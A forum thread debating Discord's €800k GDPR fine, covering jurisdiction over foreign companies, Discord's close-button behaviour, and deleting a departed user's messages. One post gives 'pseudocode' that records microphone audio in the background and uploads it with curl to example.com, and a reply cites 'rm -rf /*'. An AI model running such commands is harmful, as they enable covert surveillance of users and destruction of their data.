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Discord fined €800k for failing to comply with several obligations of the GDPR

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Re: Discord fined €800k for failing to comply with several obligations of the GDPR

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Post by matkoniecz »

knaekhoved wrote: post #71
tyfon wrote: post #39

Earlier quoted context omitted.

They accept money from EU customers so, yes

If I accept money from a Chinese guy, that doesn't make me subject to Chinese law.

Nevertheless Chinese government can start seizing your assets in China and transfers from or to you where other participant is in China.

And arrest you in case of visiting place within Chinese jurisdiction.

Unfun fact: there were multiple cases of people getting arrested after plane performed unexpected emergency landing in a country where landing was not planned. Both where arrest was justified and where it was not.

Re: Discord fined €800k for failing to comply with several obligations of the GDPR

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Post by simiones »

ttyyzz wrote: post #17
tl wrote: post #3

> When a user logged into a voice room closes the DISCORD application window by clicking on the "X" icon at the top right of the window in Microsoft Windows, they actually just put the application in the background and stay logged into the voice room. However, in Microsoft Windows, clicking on the "X" at the top right of the last visible application window will exit the application for the vast majority of applicatio…

> does Alt-F4 not do the right thing on Windows? Alt+F4 does close the application, "X-ing" it however puts it into the system tray and it remains active, which bothered me from the first day i've been using it.

Not sure about Discord, but this would be extremely weird behavior. The extremely clear convention on Windows is that Alt+F4 closes the currently focused window, not more, no less.

Whether closing the current window should close the application or not depends on many things, but having different behavior between Alt+F4 and the window close button would be very strange.

Re: Discord fined €800k for failing to comply with several obligations of the GDPR

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Post by pimterry »

Something worth noting that a lot of comments are ignoring here: while this fine is coming from the EU, these kinds of data protection rules are _everywhere_ now - this is no longer really EU-specific.

The reality is that it's not an US companies vs EU data protection law battle - it's US companies vs data protection laws in the comfortable majority of all other developed nations. The EU, UK, Switzerland, Canada, Brazil, Israel, South Korea, Argentina, Japan, New Zealand, Indonesia, Uraguay, etc, all have substantial data protection legislation. The EU has an published list of countries whose data protection laws are considered equivalent to GDPR: https://ec.europa.eu/info/law/law-topic/data-protection/inte...

While it's the EU fining Discord in this case, presumably the equivalent laws in each of those countries would also come to similar conclusions everywhere else too (though so far it seems the EU has more political appetite and clout to press the issue).

There's no world where Discord or other major US companies can pull out of the EU and keep following these practices, even if that was worthwhile. To avoid having to implement data protection practices, they'd have to drop the vast majority of all international users (and in Discord's case, https://www.similarweb.com/website/discordapp.com/#traffic suggests the US is currently <30% of their user base, so that's just not happening).

Re: Discord fined €800k for failing to comply with several obligations of the GDPR

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Post by Semaphor »

debugnik wrote: post #110
tpxl wrote: post #6

Earlier quoted context omitted.

> does Alt-F4 not do the right thing on Windows Alt-F4 closes the _window_, not the application. If the application can 'survive' without a window, not exiting the application is the correct behaviour.

Except for Discord, which actually closes the entire application on Alt-F4 instead of just the window.

Huh. You are right. Alt+F4 closes the application, clicking the X closes the window. Kinda inconsistent.

Re: Discord fined €800k for failing to comply with several obligations of the GDPR

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Post by debugnik »

simiones wrote: post #28
mrpotato wrote: post #18

Earlier quoted context omitted.

Yes, Alt+F4 does close the application (no more process). Clicking on the X closes the window and moves the icon to the system tray, effectively hiding the icon and making the icon on the task bar disappear (or if pinned seem like the application isn't running). Anecdotally, I rarely use alt+f4 to close a window.

Not sure about Discord, but for Teams and Slack, there is no difference between clicking the X button, hitting Alt+F4, or accessing the Window menu (hard to do) and selecting Close from there; which is not surprising, as Alt+F4 is the shortcut for the Close action, which is the equivalent of the X button by convention.

Discord does close the entire application on Alt-F4 instead of just the window, it's quite weird.

Re: Discord fined €800k for failing to comply with several obligations of the GDPR

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Post by Spivak »

theCrowing wrote: post #89

Sorry but the points are totally valid. If you delete your account your messages are still available with a userid that if someone has it can be traced back to you. They also don't delete files or pictures you uploaded alone for this they should get fined.

But it’s a chat application, those messages aren’t owned by just the user that authored them. Even if a user deletes their account I should be able to go back in my chat history and find their messages and know it was them.

It would be stupid if someone closing their cellular account would somehow reach into my phone and delete their contact, their messages, and replace their phone number with all zeros and this is semantically the same, the implementation shouldn’t matter.

If you send a message to a group chat those messages are now owned collectively by the group and individually by each member, the gpdr is forcing companies to delete my data because someone else asked to delete theirs.

Re: Discord fined €800k for failing to comply with several obligations of the GDPR

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Post by matkoniecz »

ahungry wrote: post #104
simion314 wrote: post #57

Earlier quoted context omitted.

>if I made a hello world program in C, they'd find a clever way of fining me Last time I check Hello World do not contain any internet connection code, let me know an example of C hello world that grabs your microphone input then sends it over the internet. Probably would be a single Linux command line job.

Something like: nohup arecord /tmp/audio & ; nohup while :; do curl -F'data=/tmp/audio' http://example.com; done & Untested pseudocode, but probably close - that's enough for a GDPR violation I guess? That it'd record unimpeded while running in the background, and sending the output elsewhere? Pretty stupid scenario - sad Discord had locations in that area, because I agree with a lot of other posters, it seems to jus…

> that's enough for a GDPR violation I guess?

No, you would also need to run on computers of people not understanding what is going on.

In the same way as running

> rm -rf /*

on computers of people not understanding what is going on (or not agreeing to it) and where you are not allowed to do so is illegal, for quite good reasons.

Re: Discord fined €800k for failing to comply with several obligations of the GDPR

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Post by srj »

elAhmo wrote: post #4
tl wrote: post #3

> When a user logged into a voice room closes the DISCORD application window by clicking on the "X" icon at the top right of the window in Microsoft Windows, they actually just put the application in the background and stay logged into the voice room. However, in Microsoft Windows, clicking on the "X" at the top right of the last visible application window will exit the application for the vast majority of applicatio…

Doesn't Skype have the same behaviour? Clicking "X" doesn't close the application.

Even AOL instant messenger did this. It would exit the window but still leave the application running with an icon in the systray area adjacent the clock.

Re: Discord fined €800k for failing to comply with several obligations of the GDPR

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Post by debugnik »

tl wrote: post #3

> When a user logged into a voice room closes the DISCORD application window by clicking on the "X" icon at the top right of the window in Microsoft Windows, they actually just put the application in the background and stay logged into the voice room. However, in Microsoft Windows, clicking on the "X" at the top right of the last visible application window will exit the application for the vast majority of applicatio…

> does Alt-F4 not do the right thing on Windows

It usually closes the active window, but Discord does close the entire application for some reason.

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